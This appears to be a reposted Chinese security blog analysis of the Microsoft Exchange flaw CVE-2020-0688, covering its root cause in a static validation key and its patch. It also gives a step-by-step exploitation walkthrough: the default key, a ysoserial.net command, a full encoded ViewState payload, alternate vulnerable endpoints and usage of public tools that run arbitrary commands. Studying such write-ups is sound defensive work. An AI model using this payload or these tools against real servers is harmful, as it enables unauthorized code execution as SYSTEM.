Microsoft Exchange漏洞分析一:CVE-2020-0688

admin 2023年2月28日04:48:35评论75 views字数 6309阅读21分1秒阅读模式

背景

2020年2月11日,微软针对Microsoft Exchange Server中的一个严重漏洞发布了一个补丁。最初,Microsoft 将此标记为Microsoft Exchange中的内存损坏漏洞。不过,微软此后更改了该漏洞的标题和描述,更改为Microsoft Exchange验证密钥远程代码执行漏洞,描述为当服务器未能在安装时正确创建唯一密钥时,Microsoft Exchange Server中存在远程代码执行漏洞。微软将此漏洞评为重要,但指出利用的可能性更大。

影响版本

Microsoft Exchange Server 2010 Service Pack 3Microsoft Exchange Server 2013Microsoft Exchange Server 2016Microsoft Exchange Server 2019

漏洞复现
想要利用该漏洞,我们需要四个参数,分别为:
--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF --validationalg = SHA1--generator=B97B4E27--viewstateuserkey = ASP.NET_SessionId
在这四个变量中,前两个为默认固定值、Viewstateuserkey和Generator的值需要从经过身份验证的Session中收集、Viewstateuserkey通过从ASP.NET的_SessionID cookie中获取,而Generator可以在一个隐藏字段__VIEWSTATEGENERATOR中找到,同时利用这个漏洞需要我们有一个有效的账号密码。

1.获取viewstateuserkey和generator值

            在Exchange Web上正常登录后访问/ecp/default.aspx页面,通过浏览器使用F12开发者工具的Network选项,刷新页面重新发送请求,可以找到登录时/ecp/default.aspx的原始响应,然后在Cookie选项中即可找到ASP.NET_SessionId的Cookie,如图 所示;

Microsoft Exchange漏洞分析一:CVE-2020-0688

图 ASP.NET_SessionId的Cookie

在Response选项卡搜索__VIEWSTATEGENERATOR获取字段值(如图 所示),如果未找到此字段可以直接使用默认值B97B4E27;

Microsoft Exchange漏洞分析一:CVE-2020-0688

图 获取__VIEWSTATEGENERATOR字段值

2.使用ysoserial.net生成payload

ysoserial.net是一种概念验证工具,可以在常见 .NET 库中发现的实用程序和面向属性的编程“小工具链”的集合,用于在适当的条件下利用 .NET 应用程序执行不安全的对象反序列化。工具下载地址:https://github.com/pwntester/ysoserial.net/,我们可以使用来生成Payload(如图 所示),例如生成一个启动计算器的Payload命令:

 ysoserial.exe -p ViewState -g TextFormattingRunProperties -c  "echo OOOPS!!! > c:/Vuln_Server.txt" --validationalg="SHA1"  --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A253 03BF" --generator="B97B4E27"  --viewstateuserkey=" -ASP.NET_ SessionId:"01ce5e49-550b-4077-bb66-2791f50dd592" --isdebug  --islegacy

Microsoft Exchange漏洞分析一:CVE-2020-0688
图 使用ysoserial.net生成Payload

3.构造攻击地址

漏洞的触发点在/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>中,所以我们在生成完Payload代码后,需要对该代码进行URL Encode编码,如图 所示;
Microsoft Exchange漏洞分析一:CVE-2020-0688
图 对生成Payload进行URL Encode编码
然后进行构造一个攻击URL去触发漏洞,将最开始获得的__VIEWSTATEGENERATOR值替换<generator>,将URL Encode编码后的payload替换<ViewState>即可:
/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%252FwEysgcAAQAAAP%252F%252F%252F%252F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADUBTw%252FeG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi0xNiI%252FPg0KPE9iamVjdERhdGFQcm92aWRlciBNZXRob2ROYW1lPSJTdGFydCIgSXNJbml0aWFsTG9hZEVuYWJsZWQ9IkZhbHNlIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpzZD0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uRGlhZ25vc3RpY3M7YXNzZW1ibHk9U3lzdGVtIiB4bWxuczp4PSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCI%252BDQogIDxPYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U%252BDQogICAgPHNkOlByb2Nlc3M%252BDQogICAgICA8c2Q6UHJvY2Vzcy5TdGFydEluZm8%252BDQogICAgICAgIDxzZDpQcm9jZXNzU3RhcnRJbmZvIEFyZ3VtZW50cz0iL2MgZWNobyBPT09QUyEhISAmZ3Q7IGM6L1Z1bG5fU2VydmVyLnR4dCIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8%252BDQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U%252BDQo8L09iamVjdERhdGFQcm92aWRlcj4LiE43H6JGMMDUJPu%252BxcjSekD8h20%253D

4.访问URL触发漏洞

访问构造好的URL地址,服务器会返回500的错误,但漏洞利用其实成功了,如图 所示;
Microsoft Exchange漏洞分析一:CVE-2020-0688
图 服务器会返回500的错误表示漏洞利用成功

其他可用路径:

/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27/ecp/PersonalSettings/HomePage.aspx?showhelp=false&__VIEWSTATEGENERATOR=1D01FD4E /ecp/PersonalSettings/HomePage.aspx?showhelp=false&__VIEWSTATEGENERATOR=1D01FD4E /ecp/Organize/AutomaticReplies.slab?showhelp=false&__VIEWSTATEGENERATOR=FD338EE0 /ecp/RulesEditor/InboxRules.slab?showhelp=false&__VIEWSTATEGENERATOR=FD338EE0 /ecp/Organize/DeliveryReports.slab?showhelp=false&__VIEWSTATEGENERATOR=FD338EE0 /ecp/MyGroups/PersonalGroups.aspx?showhelp=false&__VIEWSTATEGENERATOR=A767F62B /ecp/MyGroups/ViewDistributionGroup.aspx?pwmcid=1&id=38f4bec5-704f-4272-a654-95d53150e2ae&ReturnObjectType=1&__VIEWSTATEGENERATOR=321473B8 /ecp/Customize/Messaging.aspx?showhelp=false&__VIEWSTATEGENERATOR=9C5731F0 /ecp/Customize/General.aspx?showhelp=false&__VIEWSTATEGENERATOR=72B13321 /ecp/Customize/Calendar.aspx?showhelp=false&__VIEWSTATEGENERATOR=4AD51055 /ecp/Customize/SentItems.aspx?showhelp=false& __VIEWSTATEGENERATOR=4466B13F /ecp/PersonalSettings/Password.aspx?showhelp=false&__VIEWSTATEGENERATOR=59543DCA /ecp/SMS/TextMessaging.slab?showhelp=false&__VIEWSTATEGENERATOR=FD338EE0 /ecp/TroubleShooting/MobileDevices.slab?showhelp=false&__VIEWSTATEGENERATOR=FD338EE0 /ecp/Customize/Regional.aspx?showhelp=false&__VIEWSTATEGENERATOR=9097CD08 /ecp/MyGroups/SearchAllGroups.slab?pwmcid=3&ReturnObjectType=1__VIEWSTATEGENERATOR=FD338EE0 /ecp/Security/BlockOrAllow.aspx?showhelp=false&__VIEWSTATEGENERATOR=362253EF
发现文件成功创建,表示漏洞利用成功,如图 所示;
Microsoft Exchange漏洞分析一:CVE-2020-0688图 目标主机上文件创建成功

方法二:使用工具进行利用

1.ExchangeDetect和ExchangeCmd

ExchangeDetect和ExchangeCmd是@zcgonv开发用来检测和利用CVE-2020-0688漏洞的工具。ExchangeDetect用来检测目标是否存在漏洞(如图 所示),ExchangeCmd用来利用CVE-2020-0688漏洞,支持3个模块(如图 所示):arch模块可以用来查看对方机器的架构,用来生成shellcode来进行上线、exec模块用来执行命令,可以远程在目标机器上执行任意命令,例如执行whoami /all命令(如图 所示)、shellcode模块用来加载Bin格式的ShellCode文件。
Microsoft Exchange漏洞分析一:CVE-2020-0688图 ExchangeDetect检测目标存在漏洞
Microsoft Exchange漏洞分析一:CVE-2020-0688图 ExchangeCmd的3个模块
Microsoft Exchange漏洞分析一:CVE-2020-0688图 exec模块执行命令

2.Cve-2020-0688.py

Cve-2020-0688.py是@Ridter使用Pyrhon开发的利用脚本,支持以下参数:
usage: cve-2020-0688.py [-h] -s SERVER -u USER -p PASSWORD -c CMDoptional arguments:   -h, --help            show this help message and exit   -s SERVER, --server SERVER                         ECP Server URL Example: http://ip/owa   -u USER, --user USER  login account Example: domainuser   -p PASSWORD, --password PASSWORD                         Password   -c CMD, --cmd CMD     Command u want to execute
例如:
python cve-2020-0688.py -s 192.168.0.100 -u limu -p 1qaz@WSX123-c "whoami /all"

漏洞原理

漏洞产生的主要原因就是在Exchange ECP组件中发现,邮件服务在安装的过程中不会随机生成秘钥,也 就是说所有默认安装的Exchange服务器中的validationKey和decryptionKey的值都是相同的,攻击者可 以利用静态秘钥对服务器发起攻击,在服务器中以SYSTEM权限远程执行代码。
Microsoft Exchange Server不会针对每个安装随机生成密钥,而是在web.config中包含相同的 validationKey和decryptionKey值。这些密钥用于为ViewState提供安全性。ViewState是ASP.NET Web
应用程序在客户端上以序列化格式存储的服务器端数据。客户端通过__VIEWSTATE请求参数将这个数据
返回给服务器,配置文件存放在
 %ExchangeInstallPath%ClientAccessecpweb.config ,
可以看到其中默认的
validationKey:CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
Microsoft Exchange漏洞分析一:CVE-2020-0688

结论

Microsoft 于 2020 年 2 月将此漏洞修补为CVE-2020-0688.,根据他们的文章,他们通过“更正 Microsoft Exchange 在安装过程中创建密钥的方式”来解决此漏洞。换句话说,他们现在在安装时将加密密钥随机化。Microsoft 将其严重程度评为重要,可能是因为攻击者必须首先进行身份验证。然而,应该注意的是,在企业内部,大多数任何用户都被允许向 Exchange 服务器进行身份验证。同样,任何破坏了任何企业用户的设备或凭据的外部攻击者都可以继续接管 Exchange 服务器。

原文始发于微信公众号(黑白天实验室):Microsoft Exchange漏洞分析一:CVE-2020-0688

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月28日04:48:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Microsoft Exchange漏洞分析一:CVE-2020-0688https://cn-sec.com/archives/1578939.html

发表评论

匿名网友 填写信息